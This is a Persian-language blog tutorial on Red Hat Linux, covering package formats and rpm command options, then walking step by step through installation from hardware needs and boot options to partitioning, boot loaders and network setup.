فرمتهای گوناگون بسته های نرمافزاری را نشان میدهد : mycoolapp-4.2.3.i386.rpm این مثالها بسته های مختلف یک نرمافزار هستند. نام این بسته نرمافزاری mycoolapp است. پس از نام بسته ، شماره نسخه آن که 4.2.3 است قرار دارد. اولین شماره شماره اصلی یا major، دومین شماره شماره فرعی یا minor و آخرین شماره شماره وصله یا patch است. پس از شماره نسخه، نقطه ای قرار دارد که بعد از آن بخش های انتخابی قرار دارند که نشانگر محتوای بسته و چگونگی فشرده سازی آن هستند. خط نخست یک بسته نرمافزاری rpm را نشان میدهد. rpm مخفف Redhat Package Manager است. i386 که قبل از rpm قرار دارد، نشان دهنده این است که بسته حاوی نرمافزار اجرایی برای کامپیوترهای PC معمولی است. فرمت rpm که ابتدا توسط Redhat ارائه شد، اکنون تبدیل به یک استاندارد برای پخش بسته های نرمافزاری لینوکس شده است. ببیشتر توزیعهای لینوكس مانند ردهت، زوزه، ماندریک و... از این سیستم بسته بندی نرمافزار استفاده میکنند. rpm در مقابل کد منبع بسته هایی که بصورت فرمت rpm ارائه میشوند به سادگی قابل نصب بوده و برداشتن آنها نیز به سادگی امکان پذیر است. برای مدیریت بستههای rpm هم ابزارهای گرافیکی و هم ابزارهای متنی وجود دارند. در صورتی که در دنیای لینوکس تازه کار هستید، همیشه سعی کنید از این فرمت برای دریافت نرمافزارها استفاده نمایید. - RPM: نصب نرمافزارها با استفاده از بستههای rpm بسیار آسان است. برای نصب یک بسته rpm شما نیازی به دانستن اطلاعاتی در مورد makefile ها و کامپایلرها ندارید. همانطور که در بالا نیز اشاره کردم، ابزارهایی نیز برای مدیریت این بستهها فراهم آمده است. هنگامی که یک بسته rpm را نصب میکنید، ابزارهای rpm سایر نرمافزارهای احتمالی مورد نیاز این بسته را نیز بررسی کرده و در صورت نیاز به نصب بسته دیگری به شما اعلام میکنند. - کد منبع (Source Code) : برخی اوقات تا ایجاد بسته های rpm یک نرمافزار، مدتی طول میکشد. در این مواقع باید از کد منبع آن استفاده کنید. همچنین میتوانید با ایجاد تغییراتی در کد منبع نرمافزار، آنرا برای خود مناسبتر کنید. اکثر کاربران حرفه ای لینوکس کار کردن با کد منبع را ترجیح میدهند. خوب به مثال بالا برمیگردیم. در دوخط بعدی بستههایی قرار دارند که حاوی کد منبع نرمافزار هستند. هـمـانطور که مـیبـینید، این بستهها توسط دستور tar آرشیو شده (tar) و توسط دستور gzip فشرده شدهاند (gz). شما از این دو فرمان برای باز کردن و خارج کردن از حالت فشردگی بستههای نرمافزاری استفاده خواهید کرد. بین شماره های نسخه و پسوند های tar.gz بخش های اختیاری میتوانند قرار گیرند. این بخش ها توسط نقطه از هم جدا میشوند و اطلاعات خاصی مانند نوع پردازندهای که کدهای اجرایی بر روی آنها اجرا خواهد شد، نوع کدهای اجرایی و ... را فراهم میکنند. برای مثال bin.SPARC نشان میدهد که بسته حاوی کدهای اجرایی است که بر روی ایستگاههای کاری مبتنی بر پردازندههای SPARC اجرا خواهد شد. استفاده از انواع گوناگون آرشیوها و فرمت مستندات بسیاری از بستههای نرمافزاری که به یک توزیع خاص (مانند ردهت، SuSE، Debian و...) وابسته نيستند از روش tar/gzip برای فشرده سازی و آرشیو کردن فایلها استفاده میکنند. البته ممکن است در سایتهای FTP لینوکس به فرمتهای دیگری نیز بر بخورید. لازم به ذکر است که برخی از این فایلها مستندات همراه نرمافزار بوده و کد منبع یا اجرایی نیستند. جدول ۱ فرمت های مختلف فایلی که شما هنگام چرخش در سایتهای FTP لینوکس مشاهده خواهید کرد و جدول ۲ برخی فرمتهای رایج مستنداتی که همراه با نرمافزارهای لینوکس ارائه میشوند را نشان میدهد. برای اینکه بدانید یک فایل دارای چه فرمتی است، میتوانید از دستور file استفاده کنید. به مثال زیر توجه کنید : $ file telnet.htm
جدول ۱ انواع فرمت بستههای نرمافزاری لینوکس نصب برنامه های کاربردی در لینوکس ردهت بیشتر برنامه هایی که نیاز به نصب آنها دارید، به صورت فرمت rpm موجود هستند. در صورتی که هیچ بسته rpm ای برای نرمافزار مورد نظرتان پیدا نکردید، میتوانید از کد منبع نرمافزار استفاده کنید و خودتان نرمافزار مورد نیاز را کامپایل و نصب کنید.
جدول ۲ انواع فرمت مستندات همراه بسته های نرمافزاری نصب و مدیریت بسته های rpm هنگامی که یک برنامه کاربردی که با فرمت rpm است به دستتان میرسد، این بسته معمولا فقط شامل یک فایل است. دستوری که شما برای مدیریت و استفاده از بسته های نرمافزاری rpm استفاده میکنید، دستور rpm است. برای مدیریت بسته های rpm ، دستور rpm گزینههایی را برای لیست کردن بستههای نصب شده، ارتقا بستههای نصب شده، بدست آوردن اطلاعات از محتویات یک بسته و .... ارائه میکند. همچنین گزینههایی وجود دارند که توسط آنها میتوانید بررسی نمایید که کلیه فایلهای یک بسته نصب شده وجود داشته و تغییر نکرده باشند. دستور rpm در حالتهای زیر کار میکند: - نصب نرمافزار (install) با گزینه i -ارتقا نرمافزار (Upgrade) با گزینه U - کسب اطلاعات از بسته (Query) با گزینه q - چک کردن بسته (Verify) با گزینه V - بررسی امضا بسته (Signature check) با گزینه checksig - برداشتن بسته (Uninstall) با گزینه e -ساخت بسته (Build) با گزینه b -ساخت مجدد بانک اطلاعاتی (Rebuild Database) با گزینه rebuilddb - تصحیح مجوزها (Fix Permissions) با گزینه setperms - تعیین مالک/گروه (Set Owners/groups) با گزینه setugids با استفاده از این گزینهها میتوانید بسته های rpm را نصب کرده، صحت نصب بسته ها را بررسی کنید و اشکالات احتمالی را برطرف نمایید.
|
|||||||||||||||||||||||||||||||||||||||||||
|
+ نوشته شده در
پنجشنبه 1386/09/08ساعت 14:30 توسط رضا |
|
|
سيستم استفاده كنيد، سعی كنيد ابتدا ويندوز را نصب نموده و سپس لينوكس ردهت را نصب نماييد. برخی از نسخه های ويندوز با دستكاری MBR ديسك سخت باعث ميشوند تا لينوكس ردهت از كار بيافتد. اگر ويندوز يا لينوكس ردهت را نصب كرديد و پس از نصب متوجه شديد كه يكی از سيستم عاملها كار نمی كند، هول نشده و عمليات نصب را مجددا انجام ندهيد. شما ميتوانيد اين اشكال را با بوت توسط ديسك بوت لينوكس ردهت و با استفاده از فرامين نصب گراب يا ليلو سيستم عامل مورد نظر را فعال نموده و اين اشكال را برطرف نماييد. در صورتی كه قادر به اين كار نيستيد از يك حرفه ای كمك بگيريد. انتخاب يك روش نصب: لينوكس ردهت روشهای بسيار متنوع و قابل انعطافی برای نصب سيستم عامل ارائه نموده است. البته توصيه ميشود كه لينوكس را از روی CD نصب نماييد. ولی اگر شما CD های لينوكس ردهت را نداريد و يا كامپيوتر شما فاقد درايو CD-ROM است، ميتوانيد با استفاده از روشهای ديگر، اقدام به نصب سيستم عامل كنيد. همچنين امكان چندين نوع نصب وجود دارد. ابتدا بايد مشخص نماييد كه در حال نصب بصورت نصب جديد يا ارتقا هستيد. اگر ميخواهيد نسخه قديمی تر موجود روی سيستمتان را ارتقا دهيد، برنامه نصب فايلهای پيكربندی و اطلاعات شما را دست نخورده باقی خواهد گذاشت. اين نوع نصب از نصب جديد طولانی تر خواهد بود. يك نصب جديد ابتدا تمام اطلاعات موجود را پاك كرده و عمل نصب را انجام ميدهد. بهCDشما ميتوانيد لينوكس ردهت را از محل های زير نصب نماييد. هر نوع نصب غير از نصب از روی CD نياز به ديسكت بوت نصب لينوكس ردهت خواهد داشت : -سرويس دهنده HTTP : به شما امكان نصب از يك آدرس وب را خواهد داد. -سرويس دهنده FTP : به شما امكان نصب از يك سايت FTP را خواهد داد. -سرويس دهنده NFS : ميتوانيد از روی دايركتوری های به اشتراك گذاشته شده روی كامپيوترهای ديگر موجود در روی شبكه با استفاده از سيستم فايل شبكه (Network File System) برای نصب استفاده نماييد. -ديسك سخت : اگر يك كپی از فايلهای نصب لينوكس ردهت را روی ديسك سخت خود داشته باشيد ميتوانيد برای نصب از آن استفاده كنيد. البته بايد روی پارتيشنی غير از پارتيشنی كه برای نصب انتخاب نموده ايد قرار داشته باشند. انتخاب سخت افزار مورد نياز: ممكن است اين واقعا يك انتخاب نباشد. ممكن است يك كامپيوتر قديمی در كنار خود داشته باشيد كه مايل باشيد لينوكس ردهت را روی آن نصب نماييد. و يا ممكن است يك ايستگاه كاری وحشتناك داشته باشيد كه بخواهيد لينوكس ردهت را روی يكی از پارتيشن های آن نصب نماييد. برای نصب نسخه PC لينوكس -پردازنده سازگار با x86 : كامپيوتر شما به يك پردازنده سازگار با اينتل نياز دارد. مانند برخی سيستم عامل های تجاری، شما به جديدترين پردازنده های موجود برای نصب لينوكس ردهت نياز نداريد (البته اشكالی ندارد!). شما ميتوانيد لينوكس ردهت را روی پردازنده های قديمی هم اجرا نماييد. من حتی پردازنده 80386 اينتل را در ليست سازگاری سخت افزارهای آن ديده ام ولی هرگز سعی نكرده ام لينوكس ردهت را روی كامپيوتری با آن مشخصات نصب نمايم! -درايو فلاپی و يا CD-ROM : شما بايد قادر باشيد هنگام فرايند نصب كامپيوتر خود را با يك فلاپی ديسك و يا درايو CD-ROM بوت نماييد. اگر درايو CD-ROM نداريد (در محيطهای شبكه و يا كامپيوترهای قديمی) به يك ارتباط شبكه برای نصب از روی شبكه و يا كپی محتويات CD های نصب بر روی ديسك سخت سيستم خود داريد. -ديسك سخت (Hard Disk) : شما به يك ديسك سخت و يا يك پارتيشن از ديسك سخت كه حداقل 350 مگابايت فضا داشته باشد نياز داريد. البته اين فضا فقط برای حداقل نصب كافی خواهد بود. ميزان حقيقی فضايی كه نياز خواهيد داشت بستگی به نوع نصب شما دارد. نصب به صورت ايستگاه كاری به 1500 مگابايت و نصب بصورت كامل (تمام بسته های نرم افزاری موجود و كدهای منبع) به 3 گيگابايت فضا نياز دارد. -حافظه (RAM) : شما حداقل به 32 مگابايت رم برای نصب لينوكس ردهت نياز خواهيد داشت. اگر مايل به استفاده از محيطهای گرافيكی هستيد 64 مگابايت لازم خواهد بود. -صفحه كليد و مانيتور : خوب معلوم است! شما به يك مانيتور و صفحه كليد برای نصب نياز داريد. شما بعدا ميتوانيد لينوكس ردهت را از روی شبكه و با استفاده از ترمينال پوسته و يا ترمينال X به خوبی اداره نماييد. نسخه هايی از لينوكس ردهت برای نصب روی ايستگاههای كاری مبتنی بر پردازنده های آلفا (Alpha) و اسپارك (Sparc) وجود دارند. نكته : ليست سخت افزار های سازگار با لينوكس ردهت را ميتوانيد اينجا ببينيد. اگر درايو CD-ROM كامپيوتر شما به يك درگاه PCMCIA متصل است (در گاههای موجود روی كامپيوتر های كيفی) شما بايد پشتيبانی از PCMCIA را در هنگام نصب فعال نماييد. پشتيبانی از PCMCIA فقط برای كامپيوترهای مبتنی بر پردازنده های سازگار با اينتل موجود است. اگر كامپيوتر كيفی شما مجهز به يك درايو CD-ROM است، شما ميتوانيد بدون نياز به انجام كار خاصی لينوكس ردهت را روی آن نصب نماييد. در صورتی كه كامپيوتر كيفی شما فاقد درايو CD-ROM است، شما بايد لينوكس ردهت را از روی درايوی كه به درگاه PCMCIA آن متصل است نصب نماييد. درگاههای PCMCIA به شما امكان اتصال دستگاههای مختلف به كامپيوتر كيفی با استفاده از كارتهايی به اندازه كارت اعتباری ميدهند. لينوكس از صدها دستگاه مختلف PCMCIA پشتيبانی ميكند. شما ميتوانيد از درگاه PCMCIA كامپيوتر كيفی خود برای نصب لينوكس ردهت از انواع مختلفی از دستگاهها شامل : -درايو CD-ROM -كارت شبكه استفاده نماييد. در صورتی كه مايليد بدانيد كداميك از دستگاههای PCMCIA در لينوكس پشتيبانی ميشوند، فايل SUPPORTED.CARDS واقع در مسير /usr/share/doc/kernel-pcmcia-cs را ببينيد. در هر صورت جهت استفاده از اين درگاه برای نصب لينوكس به ديسكت پشتيبانی آن نياز داريد. چگونگی ايجاد اين ديسكتها بعدا شرح داده خواهد شد. شروع نصب: اگر فكر می كنيد نوع نصب مورد نياز خود را انتخاب كرده ايد، ميتوانيد نصب را شروع كنيد. در بيشتر بخشها شما ميتوانيد با كليك روی دگمه بازگشت (Back) انتخابهای قبلی خود را تغيير دهيد. البته پس از اينكه مرحله كپی بسته های نرم افزاری روی ديسك سخت شروع شد، ديگر امكان بازگشت وجود ندارد. در صورتی كه نياز به تغييری داشته باشيد، بايد آنرا پس از اتمام نصب لينوكس و از داخل خود سيستم عامل انجام دهيد. -ديسكCD-ROM نصب را داخل درايو قرار دهيد اگر عمل نصب را از ديسك سخت و يا شبكه انجام ميدهيد، ميتوانيد بجای آن از ديسكت بوت استفاده نماييد. برای كسب اطلاعات بيشتر در مورد ايجاد ديسكهايی كه نياز داريد، به بخش ايجاد ديسكهای نصب مراجعه نماييد. -كامپيوتر خود را بوت كنيد هنگامی كه صفحه خوشامد گويی لينوكس ردهت را مشاهده كرديد به مرحله بعدی وارد شويد. كته: اگر شما صفحه خوشامد گويی را نمی بينيد، ممكن است درايو CD-ROM شما قابل بوت نباشد. فعال كردن گزينه بوت از روی درايو CD-ROM و يا ايجاد ديسكت های بوت ميتواند به شما برای ادامه نصب كمك كند. برای فعال كردن گزينه بوت از روی CD-ROM به صورت مقابل عمل كنيد : كامپيوتر خود را راه اندازی كرده و در صفحه نخستين پيامی برای ورود به صفحه نصب (setup) خواهيد ديد. برای ورود به برنامه نصب بايوس كافی است كليدهای F1 يا F2 ويا DEL را فشار دهيد. در گزينه های موجود به دنبال موردی با عنوان Boot Options و يا Boot From و يا چيزی مشابه آن بگرديد. پس از آنكه آنرا پيدا كرديد، اولويت نخست آنرا روی درايو CD-ROM تنظيم كنيد. تغييرات را ذخيره كرده و خارج شويد. اگر نصب با موفقيت انجام شد شما ميتوانيد گزينه های بايوس را به حالت اول برگردانيد. در صورتی كه حتی با تنظيم اين گزينه ها امكان بوت از روی CD-ROM وجود نداشت، بايد ديسكتهای نصب را از روی فايلهای boot.img (برای كامپيوترهای معمولی)، bootnet.img (برای نصبهای از روی شبكه) يا pcmcia.img (برای كامپيوترهای كيفی) كه روی CD نصب قرار دارند، ايجاد نماييد. چگونگی ايجاد اين ديسكتها شرح داده خواهد شد. پس از ايجاد ديسكتها، آنها را در درايو قرار داده و كامپيوتر خود را بوت كرده و نصب را ادامه دهيد. -اعلان بوت: در جلوی اعلان بوت كليد Enter را برای ورود به نصب گرافيكی، فشار دهيد. در صورتی كه كامپيوتر شما اجازه نصب بصورت گرافيكی (رنگ بيتی و وضوح 800 در 600 پيكسل) را نمی دهد، به قسمت "انتخاب انواع ديگر نصب" مراجعه نماييد. از شما خواسته ميشود يك زبان انتخاب كنيد. انتخاب انواع ديگر نصب: در بيشتر كامپيوتر ها شما ميتوانيد به راحتی نصب را بصورت گرافيكی انجام دهيد. برخی مواقع كارت گرافيكی شما ممكن است اين حالت را قبول نكند. همچنين با اينكه هنگام نصب سخت افزار كامپيوتر شما شناسايی ميشود،ممكن است برخی مواقع ديسك سخت، كارت شبكه و يا يكی از سخت افزارهای حياتی ديگر شناسايی نشده و به اطلاعات مخصوصی هنگام بوت نياز داشته باشد. در اينجا ليستی از انواع گزينه هايی كه شما ميتوانيد نصب لينوكس ردهت را بوسيله آن شروع كنيد وجود دارد. پيشنهاد ميشود در صورتی از اين گزينه ها استفاده كنيد كه گزينه گرافيكی دچار اشكال شود (مانند هنگامی كه صفحه از گاربيج پر شده و يا سخت افزار شناسايی نمی شود). -text : شما ميتوانيد با تايپ text جلوی اعلان نصب بصورت متنی را آغاز نماييد. از اين گزينه هنگامی استفاده نماييد كه به نظر ميرسد برنامه نصب نتوانسته كارت گرافيك شما را شناسايی نمايد. با اين نوع نصب برنامه نصب چندان خوشگل! نيست ولی بخوبی كار ميكند. -lowres : با اين گزينه، برنامه نصب در وضوح 640 در480 پيكسل اجرا خواهد شد. اين گزينه برای كامپيوترهايی است كه كارت گرافيك آنها فقط اين وضوح را پشتيبانی ميكند. -expert : در صورتی كه حس ميكنيد برنامه نصب نمی تواند سخت افزارهای شما را به خوبی شناسايی كند از اين گزينه استفاده نماييد. با اين گزينه برنامه نصب به شناسايی سخت افزار نمی پردازد و شما ميتوانيد نوع ماوس، مقدار حافظه كارت گرافيكی و ... را شخصا انتخاب كنيد. -nofb : با اين گزينه حالت frame buffer برای جلوگيری از برخی اشكالات در نمايش غير فعال ميشود. -linuxdd : در صورتی كه يك ديسك درايور لينوكس برای نصب داريد، از اين گزينه استفاده نماييد. همچنين شما ميتوانيد با اضافه نمودن گزينه های ديگری به اعلان بوت لينوكس، آنرا وادار به شناسايی صحيح سخت افزار خود نماييد. مثلا در صورتی كه برنامه نصب اندازه ديسك سخت شما را تشخيص نمی دهد، ميتوانيد با مشخص كردن تعداد سيلندر، هد و سكتورها سايز آنرا تعيين كنيد. شما به صورت زير ميتوانيد گزينه های خود را به هسته لينوكس ارجاع دهيد : linux hd=720,32,64 در اين مثال شما به هسته ميگوييد كه ديسك سخت من دارای 720 سيلندر، 32 هد و 64 سكتور است. اين مشخصات را ميتوانيد از روی مستندات موجود با ديسك سخت خود و يا از روی برچسب چسبانده شده روی آن بدست آوريد. -بررسی فايلها : در لينوكس ردهت 8 قبل از شروع برنامه نصب، از شما پرسيده ميشود كه فايلهای نصب برای صحت و درستی آنها بررسی شوند يا خير. در صورتی كه مطمئن نيستيد ديسكهای شما صحيح هستند يا نه، ميتوانيد با اين گزينه آنها را بررسی نماييد. البته اين كار زمانبر خواهد بود. در صورتی كه به صحت آنها اطمينان داريد به سادگی گزينه Skip را انتخاب كنيد تا برنامه نصب آغاز شود. -صفحه خوشامد گويی : اين صفحه آغاز فرايند نصب را به شما اعلام ميكند. فقط كافی است روی كليد Next كليك نماييد. -انتخاب زبان : پس از آغاز برنامه نصب، اولين سوالی كه پرسيده ميشود، انتخاب زبان برنامه نصب است. زبان مورد نظر خود را انتخاب نموده و روی گزينه Next كليك نماييد. -انتخاب صفحه كليد : نوع صفحه كليد خود را انتخاب نماييد. مثلا صفحه كليد 105 كليد و با كليدهای انگليسی. -ماوس: نوع ماوسی كه سيستمتان نصب شده است را انتخاب نماييد. انواع ماوسهای درگاه سريال و PS/2 وUSB پشتيبانی ميشوند. در صورتی كه ماوس شما دو كليد دارد، ميتوانيد با انتخاب گزينه Emulate 3 buttons، هنگام استفاده با نگه داشتن كليد Shift، كليد سوم ماوس را شبيه سازی نماييد. كليد سوم توسط برخی از برنامه های كاربردی لينوكس مورد نياز ميباشد. -انتخاب نوع نصب (Install Type) : در اين مرحله نوع نصب مورد نياز برای خود را بايد انتخاب نماييد. در صورتی كه لينوكس اكنون روی سيستم شما نصب شده و مايليد آنرا به نسخه جديد ارتقا دهيد، كافی است نصب نوع ارتقا (Upgrade) را انتخاب نماييد. نكته : برای نصب به صورت ارتقا، لينوكس موجود شما حداقل بايد هسته نسخه 2.0 را داشته باشد. با نصب به صورت ارتقاع تمامی فايلهای پيكريندی شما بصورت filename.rpmsave ذخيره خواهد شد. محل اين فايلها در مسير tmp/upgrade.log نوشته ميشود. برنامه ارتقا هسته جديد را نصب كرده و برنامه های نرم افزاری تغيير يافته را نيز نصب ميكند. فايلهای اطلاعات شما بدون تغيير باقی خواهند ماند. اين نصب زمان بيشتری نياز دارد. برای نصب بصورت جديد ميتوانيد يكی از گزينه های زير را انتخاب نماييد . اين گزينه ها به "كلاس های نصب" (Installation Classes) نيز موسوم هستند: -ايستگاه كاری (Workstation): كامپيوتر شما را بصورت خودكار پارتيشن بندی نموده و بسته های نرم افزاری لازم برای يك ايستگاه كاری را نصب ميكند. يكی از محيطهای گرافيكی GNOME و يا KDE نصب خواهند شد و برنامه X Window ساختارهای لازم برای اجرای آنها را فراهم ميكند. محيطGNOME محيط گرافيكی پيش گزيده لينوكس ردهت است. شما ميتوانيد پس نصب محيط KDE را نيز نصب نماييد. هشدار :هر گونه پارتيشن لينوكس موجود روی ديسك سخت و فضای خالی ديسك سختتان به نصب Workstation و يا Personal Desktop اختصاص خواهند يافت. در صورتی كه روی كامپيوترتان پارتيشن های ويندوز موجود باشند، برنامه نصب آسيبی به آنها نخواهد رساند و پس از نصب شما قادر خواهيد بود از لينوكس در كنار ويندوز استفاده نماييد. در صورتی كه هيچگونه فضای پارتيشن بندی نشده روی ديسك سخت شما وجود ندارد و تمام فضا به پارتيشن های ويندوز اختصاص داده شده، شما بايد از ابزار FIPS كه بعدا شرح داده خواهد شد استفاده نماييد. در غير اينصورت شما تمام پارتيشن های ويندوز خود را از دست خواهيد داد. -سرويس دهنده (Server) : اين نصب بسته های مورد نياز جهت يك كامپيوتر سرويس دهنده را نصب ميكند. (مانند برنامه های سرويس دهنده وب، پست الكترونيك، فايل و...). اين نصب برنامه X Window را نصب نميكند. در صورتی كه نياز به محيط گرافيكی داريد بايد آنرا بعدا نصب نماييد و يا كار كردن با خط فرمان را ياد بگيريد! اين نصب تمام اطلاعات موجود در ديسك سخت را پاك كرده و تمام ديسكها را به لينوكس اختصاص ميدهد. هشدار : حواستان بود؟ اگر متوجه نشده ايد : نصب بصورت سرويس دهنده تمام اطلاعات موجود روی ديسك سخت را پاك خواهد كرد! در صورتی كه نياز داريد پارتيشن های موجود ويندوز را حفظ نماييد، هنگام نصب پارتيشن بندی خودكار (Automatic Partitioning) را انتخاب نكنيد و خودتان بصورت دستی فضاهای خالی را به لينوكس اختصاص دهيد. -كامپيوتر شخصی (Personal Desktop) : اين نصب همانند نصب نوع ايستگاه كاری است با اين تفاوت كه برخی ابزارها كه برای كامپيوترهای شخصی لازم نيستند را نصب نميكند و در صورتی كه لينوكس را روی يك كامپيوتر كيفی نصب ميكنيد، پشتيبانی از PCMCIA و مادون قرمز (IrDa) نيز فعال خواهد شد. -نصب بصورت سفارشی (Custom) : با انتخاب اين نوع نصب شما امكان انتخاب تك تك بسته های نرم افزاری مورد نياز و پارتيشن بندی دستی را خواهيد داشت. نكته : در صورتی كه كاربری حرفه ای هستيد، نصب نوع سفارشی را انتخاب نماييد. با اين گزينه دست شما بازتر خواهد بود و از اينكه بهتر ميفهميد هنگام نصب چه ميگذرد حال بهتری خواهيد داشت! -انتخاب استراتژی پارتيشن بندی (Partitioning) : شما سه راه برای انتخاب نوع پارتيشن بندی ديسك سخت خود پيش رو داريد: -پارتيشن بندی خودكار : برنامه نصب بصورت خودكار عمل پارتيشن بندی را برای شما انجام خواهد داد. با اين انتخاب تمام پارتيشن های لينوكس موجود روی ديسك سخت پاك شده و فضای خالی ايجاد شده برای پارتيشن بندی مورد استفاده قرار خواهد گرفت. -پارتيشن بندی دستی توسط ابزار Disk Druid : با انتخاب اين گزينه ابزار Disk Druid برای انجام عمل پارتيشن بندی اجرا خواهد شد. كار كردن با اين ابزار ساده تر از fdisk است. -پارتيشن بندی دستی توسط ابزار fdisk (مخصوص حرفه ای ها) : با انتخاب اين گزينه ابزار fdisk برای پارتيشن بندی ديسك سخت اجرا ميشود. اين ابزار برای كاربران حرفه ای لينوكس مناسب تر است. پس از انتخاب گزينه مناسب، جهت ادامه روی كليد Next كليك كنيد. -انجام پارتيشن بندی : اگر پارتيشن بندی خودكار را انتخاب نموده ايد، امكان انتخاب گزينه های زير موجود است: -پاك كردن تمام پارتيشن های لينوكس موجود (Remove all Linux partitions on this system) : با انتخاب اين گزينه پارتيشن های ويندوز و پارتيشن های غير لينوكسی روی سيستم باقی خواهند ماند. -پاك كردن تمام پارتيشن های موجود : تمام پارتيشن ها و اطلاعات موجود از ميان خواهند رفت. -حفظ تمام پارتيشن ها و استفاده از فضای خالی موجود (Keep all partitions and use existing free space) : اين گزينه به شرطی كار خواهد كرد كه شما فضای خالی كافی پارتيشن بندی نشده روی ديسك سخت خود داشته باشيد. در صورتی كه شما دارای چند ديسك سخت روی سيستمتان هستيد، ميتوانيد ديسكی را كه مايل به نصب لينوكس ردهت روی آن هستيد، انتخاب نماييد. گزينهReview را برای بررسی نتيجه پارتيشن بندی خودكار و تغيير آن در صورت لزوم فعال باقی بگذاريد. پس از بررسی پارتيشن بندی انجام شده، شما ميتوانيد پارتيشنهايی را كه انتخاب ميكنيد، تغيير دهيد. پارتيشن بندی خودكار حداقل يك پارتيشن ريشه (/) كه تمام برنامه ها را در برخواهد گرفت و يك پارتيشن swap ايجاد خواهد كرد. اندازه پارتيشن swap معمولا دو برابر ميزان حافظه فيزيكی دستگاه ميباشد. مثلا اگر شما 128 مگابايت RAM داريد، اندازه اين پارتيشن 256 مگابايت خواهد بود. نكته : توصيه ميشود يك پارتيشن به نام home/ ايجاد نماييد. با ايجاد اين پارتيشن، تمام اطلاعات كاربران روی آن قرار خواهد گرفت و در صورتی كه در آينده نياز به فرمت و نصب مجدد سيستم باشد، اطلاعات كاربران و تنظيمات محيط كاربری آنها باقی خواهند ماند. جهت ادامه روی كليد Next كليك كنيد. -انتخاب برنامه بوت كننده (Boot Loader) : در اين مرحله ميتوانيد يكی از برنامه های GRUB و يا LILO را انتخاب نماييد. در صورتی كه برنامه بوت كننده قبلا نصب شده و يا مايليد لينوكس ردهت را از روی ديسكت بوت نماييد، ميتوانيد از نصب برنامه بوت كننده پرهيز كنيد. همچنين ميتوانيد محل استقرار برنامه بوت كننده را معين كنيد : -بوت ركورد اصلی (Master Boot Record) : نصب برنامه بوت كننده در اين مكان توصيه ميشود. اين كار باعث ميشود تا گراب و ليلو فرايند بوت تمام سيستم عامل های نصب شده را بدست گيرند. -سكتور اول پارتيشن بوت (First Sector of Boot Partition) : در صورتی كه برنامه بوت ديگری روی سيستم شما فعال است، ميتوانيد برنامه نصب را وادار به نصب شدن در سكتور نخست پارتيشن های لينوكس خود نماييد. با اين كار برنامه بوت كننده برای بوت لينوكس ردهت به گراب يا ليلو مراجعه خواهد كرد. نكته : درصورتی كه برنامه بوت كننده گراب را انتخاب كرديد كه پيش گزيده نيز ميباشد، ميتوانيد كلمه عبوری به آن اضافه نماييد. با اين كار ميتوانيد از آسيب رسيدن به سيستم با ارسال گزينه های خطرناك به هسته سيستم عامل بدون درخواست كلمه عبور جلوگيری كنيد. برنامه های بوت كننده گراب و ليلو در اين فصل شرح داده خواهند شد. شما ميتوانيد پارامترهايی را به هسته سيستم عامل اضافه نماييد. (اين در صورتی نياز خواهد بود كه سخت افزار شما به طور صحيح شناسايی نشود). برای مثال در صورتی كه يك دستگاه CD-Writer نوعIDE داريد و مايليد در حالت شبيه سازی اسكازی كار كند، ميتوانيد با ارسال پارامترهايی درايو را مجبور به اين كار نماييد. شما ميتوانيد پارتيشن پيش گزيده ای كه سيستم از روی آن بوت ميشود را انتخاب نماييد. هچنين امكان تغيير برچسب (label) آن نيز وجود دارد. -پيكربندی شبكه (Configure Networking) : در اين قسمت از شما درخواست ميشود تا شبكه خود را پيكربندی نماييد. اين تنظيمات فقط برای شبكه محلی ميباشد. در صورتی كه از شبكه بندی تلفنی (Dialup) استفاده ميكنيد، ميتوانيد با كليك روی Next بسادگی از اين مرحله عبور نماييد. هچنين در صورتی كه كامپيوتر شما به شبكه متصل نيست، از اين مرحله عبور نماييد. آدرسهای شبكه به دو روش به سيستم شما اختصاص داده ميشود : بصورت ثابت (Static) كه شما آنرا تايپ ميكنيد و يا با استفاده از سرويس دهنده DHCP كه هنگام بوت آدرس كامپيوتر شما را تعيين ميكند. برای كسب اطلاعات سرويس دهنده DHCP و يا آدرس IP اختصاصی و ثابت كامپيوتر خود و ساير اطلاعات مورد نياز شبكه به مدير شبكه خود مراجعه نماييد. همچنين ميتوانيد انتخاب نماييد كه شبكه شما در هنگام بوت فعال شود يا نه (اگر از شبكه محلی استفاده ميكنيد، معمولا مايليد اين كار صورت گيرد). در صورتی كه ورود آدرس ثابت را انتخاب نموده ايد، بايد گزينه manually را فعال نموده و اطلاعات زير را وارد نماييد: -آدرس IP : اين آدرس از چهار بخش عددی كه توسط نقطه از هم جدا شده اند تشكيل شده است. اين شماره در حقيقت نشانی كامپيوتر شما در شبكه است. . مثالی از يك آدرس IP خصوصی10.0.0.12است. -Netmask : برای تعيين اينكه كدام قسمت آدرس IP شماره شبكه و كدام قسمت آن آدرس كامپيوتر ميزبان است. يك مثال برای يك شبكه كلاس A شماره 255.0.0.0 است. لينوكس ردهت اين شماره را برای شما حدس خواهد زد. -Network : شماره شبكه را مشخص ميكند. برای مثال اگر شما آدرس IP شماره 10.0.0.12 را روی يك شبكه كلاس آ (255.0.0.0) داشته باشيد، شماره شبكه 10 خواهد بود (همچنين10.0.0.0). -Broadcast : يك شماره IP است كه برای انتشار اطلاعات روی شبكه بكار ميرود. برای يك شبكه كلاس آ با شماره شبكه 10 شماره انتشار 10.255.255.255 خواهد بود. -Hostname : اين نامی است كه كامپيوتر شما در يك حوزه (Domain) توسط آن شناخته ميشود. برای مثال اگر كامپيوتر شما memphis ناميده شود و در حوزه truedata.com قرار داشته باشد، نام ميزبان (Hostname) كامل شما memphis.truedata.com خواهد بود. -Gateway : يك آدرس IP كه به عنوان دروازه ای به شبكه های خارج از شبكه محلی شما عمل ميكند. معمولا يك ميزبان يا مسيرياب (Router) ميباشد كه بسته ها را بين شبكه محلی شما و اينترنت مسيريابی ميكند. -Primary DNS : آدرسIP كامپيوتری است كه عمل ترجمه نام های كامپيوتر به آدرسهای IP را انجام ميدهد. اين كامپيوتر سرويس دهنده DNS نام دارد. شما ممكن است دارای سرويس دهنده های دوم و سوم DNS باشيد كه در صورت موجود نبودن هريك ديگری عهده دار كار ترجمه باشد. -انتخاب پيكربندی ديوار آتش (Firewall): در اين مرحله از نصب بايد ديوار آتش سيستم خود را پيكربندی نماييد. استفاده از يك ديوار آتش برای حفظ امنيت كامپيوترتان الزامی و بسيار مهم است. در صورتی كه شما به اينترنت و يا يك شبكه عمومی ديگر متصل ميشويد، ديوار آتش ميتواند راههای نفوذ به سيستم لينوكس شما را محدود نمايد. برای پيكر بندی ديوار آتش، انتخابهای زير را در اختيار داريد: -امنيت بالا (High) : اين گزينه را در صورتی 